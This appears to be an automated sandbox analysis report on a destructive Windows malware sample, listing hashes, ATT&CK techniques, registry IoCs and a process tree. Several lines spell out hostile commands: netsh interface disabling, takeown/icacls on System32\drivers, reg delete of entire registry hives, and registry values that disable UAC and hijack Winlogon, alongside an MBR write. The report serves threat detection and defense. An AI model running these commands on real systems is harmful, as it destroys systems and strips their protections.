7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5

Analysis

max time kernel
94s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/10/2026, 08:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
Size 744KB
Sample261028-keyhsayv5k
SHA256 7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5
MD5 435d299ce5c72202b4684a5cfeb61e34
SHA1 c6922426d2e0a9c6cc87833ed3901f16c813f494
SHA512 094d8fff360de10e88b1cb8c974c45bbba6a63977ff948b6d202c296833b31d412e0801f24f1cd3c6b4eba483272d284e4c933ee3135b4240a10a8d08abb0fb3
SSDEEP 12288:KGe9gHz/Q9O7Izi6cPom110uA7L6PfjNExRJ:tqU/GOqpsvHtA7Lcfo
TLSH
T1B2F48C43B9D281F5C768543015DA673A9A76AE560B32CBD39314FE386E23170AD3B239
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion discovery exploit persistence privilege_escalation trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "¶ñÒâ³ÌÐò.exe"	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "¶ñÒâ³ÌÐò.bat"	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe

UAC bypass 3 TTPs 3 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools = "1"	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe

Disables Task Manager via registry modification
defense_evasion

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2872	takeown.exe
5248	icacls.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2872	takeown.exe
5248	icacls.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\Physicaldrive0	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe

Direct Volume Access: Opens a physical disk for reading 1 TTPs 1 IoCs

Opens a raw handle to a physical disk, which bypasses file system access controls and is used for disk inspection, anti-VM checks and privilege checks.

defense_evasion

Direct Volume Access

T1006

description	ioc	Process
File opened (read-only)	\??\Physicaldrive0	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
Token: SeTakeOwnershipPrivilege	2872	takeown.exe
Token: SeShutdownPrivilege	4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4512 wrote to memory of 2584	4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe	89
PID 4512 wrote to memory of 1624	4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe	90
PID 4512 wrote to memory of 2872	4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe	93
PID 4512 wrote to memory of 5248	4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe	95
PID 4512 wrote to memory of 1636	4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe	97
PID 4512 wrote to memory of 4676	4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe	98
PID 4512 wrote to memory of 2700	4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe	99
PID 4512 wrote to memory of 4092	4512	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe	100

System policy modification 1 TTPs 3 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe

C:\Users\Admin\AppData\Local\Temp\7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe
"C:\Users\Admin\AppData\Local\Temp\7f64d4f21253e9ce4070fd067009a76a656c9fea6479a37e9af07b4dbb5c07f5.exe"
1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Disables RegEdit via registry modification
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Direct Volume Access: Opens a physical disk for reading
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4512
- C:\Windows\SysWOW64\netsh.exe
  netsh interface set interface "±¾µØÁ¬½Ó" admin=disable
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2584
- C:\Windows\SysWOW64\netsh.exe
  netsh interface set interface "Ethernet0" admin=disable
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1624
- C:\Windows\SysWOW64\takeown.exe
  takeown /f C:\Windows\System32\drivers /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2872
- C:\Windows\SysWOW64\icacls.exe
  icacls C:\Windows\System32\drivers /grant "%USERDOMAIN%\%USERNAME%":(F) /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - System Location Discovery: System Language Discovery
  PID:5248
- C:\Windows\SysWOW64\reg.exe
  reg delete HKEY_LOCAL_MACHINE /f >nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1636
- C:\Windows\SysWOW64\reg.exe
  reg delete HKEY_CLASSES_ROOT /f >nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4676
- C:\Windows\SysWOW64\reg.exe
  reg delete HKEY_CURRENT_CONFIG /f >nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2700
- C:\Windows\SysWOW64\reg.exe
  reg delete HKEY_CURRENT_USER /f >nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4092